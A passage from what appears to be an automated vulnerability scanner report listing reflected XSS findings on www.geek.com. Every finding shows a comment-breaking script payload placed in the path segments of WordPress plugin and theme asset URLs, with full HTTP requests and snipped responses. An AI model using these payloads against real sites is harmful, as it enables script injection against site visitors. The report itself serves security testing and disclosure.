Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg7345e--><script>alert(1)</script>3ab5e597198/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:49 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1842940375
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:29 GMT
Date: Tue, 10 May 2011 13:31:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3ab5e597198/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

2.10. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 5bc20--><script>alert(1)</script>c3b72a04098 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg/css5bc20--><script>alert(1)</script>c3b72a04098/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:33:17 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1154911444
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:33:26 GMT
Date: Tue, 10 May 2011 13:33:26 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>c3b72a04098/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

2.11. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload a30a3--><script>alert(1)</script>ddeec1d1370 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg/css/diggdigg-style.cssa30a3--><script>alert(1)</script>ddeec1d1370?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:35:43 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44474
X-Varnish: 924436911
Expires: Tue, 10 May 2011 13:35:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:35:27 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=b80c7c1a5093646d6d6c77e17364fa9a; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ddeec1d1370%3Fver%3D4.5.1.1 -->
...[SNIP]...

2.12. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload dbb7a--><script>alert(1)</script>9b3738cbabe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-contentdbb7a--><script>alert(1)</script>9b3738cbabe/plugins/wp-polls/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:26:43 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44363
X-Varnish: 1154909542
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:26:51 GMT
Date: Tue, 10 May 2011 13:26:51 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>9b3738cbabe/plugins/wp-polls/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

2.13. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9de82--><script>alert(1)</script>a496ac86b3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins9de82--><script>alert(1)</script>a496ac86b3e/wp-polls/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:05 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44435
X-Varnish: 924434973
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:28:49 GMT
Date: Tue, 10 May 2011 13:28:49 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a496ac86b3e/wp-polls/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

2.14. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload d0579--><script>alert(1)</script>049af3a6c5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-pollsd0579--><script>alert(1)</script>049af3a6c5/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:02 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1842940161
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:41 GMT
Date: Tue, 10 May 2011 13:30:41 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>049af3a6c5/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

2.15. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 747c6--><script>alert(1)</script>3ba3d2946dd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls/polls-css.css747c6--><script>alert(1)</script>3ba3d2946dd?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:33:13 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44435
X-Varnish: 924436185
Expires: Tue, 10 May 2011 13:32:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:32:57 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=af1705dde7e9c000c200db2cbf64a3ad; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3ba3d2946dd%3Fver%3D2.50 -->
...[SNIP]...

2.16. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e859f--><script>alert(1)</script>4d5442b8446 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-contente859f--><script>alert(1)</script>4d5442b8446/plugins/wp-polls/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:06 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44357
X-Varnish: 1842939889
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:44 GMT
Date: Tue, 10 May 2011 13:29:44 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>4d5442b8446/plugins/wp-polls/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

2.17. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload b2f55--><script>alert(1)</script>f35c7b2e59 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/pluginsb2f55--><script>alert(1)</script>f35c7b2e59/wp-polls/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:12 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44426
X-Varnish: 924435961
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:56 GMT
Date: Tue, 10 May 2011 13:31:56 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>f35c7b2e59/wp-polls/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

2.18. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 94357--><script>alert(1)</script>c14be7dcd5e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls94357--><script>alert(1)</script>c14be7dcd5e/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:34:22 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44429
X-Varnish: 924436479
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:34:07 GMT
Date: Tue, 10 May 2011 13:34:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>c14be7dcd5e/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

2.19. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 15f0f--><script>alert(1)</script>43134d19639 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls/polls-js.js15f0f--><script>alert(1)</script>43134d19639?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:36:03 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44357
X-Varnish: 1842941419
Expires: Tue, 10 May 2011 13:35:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:35:42 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=f28e40f71fed1e677e3df9f82127d6fc; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>43134d19639%3Fver%3D2.50 -->
...[SNIP]...

2.20. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 42204--><script>alert(1)</script>9833826cb0e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content42204--><script>alert(1)</script>9833826cb0e/themes/geek6/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:51:20 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1154915462
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:51:29 GMT
Date: Tue, 10 May 2011 13:51:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>9833826cb0e/themes/geek6/favicon.ico -->
...[SNIP]...

2.21. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 8d04b--><script>alert(1)</script>012cb052054 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content8d04b--><script>alert(1)</script>012cb052054/themes/geek6/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:24:30 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924433831
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:24:14 GMT
Date: Tue, 10 May 2011 13:24:14 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>012cb052054/themes/geek6/style.css%3Fv%3D1 -->
...[SNIP]...

2.22. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 5eb8d--><script>alert(1)</script>3a2417266e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes5eb8d--><script>alert(1)</script>3a2417266e1/geek6/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:26:52 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924434429
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:26:37 GMT
Date: Tue, 10 May 2011 13:26:37 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3a2417266e1/geek6/style.css%3Fv%3D1 -->
...[SNIP]...

2.23. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 667fc--><script>alert(1)</script>0699ca39d7d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

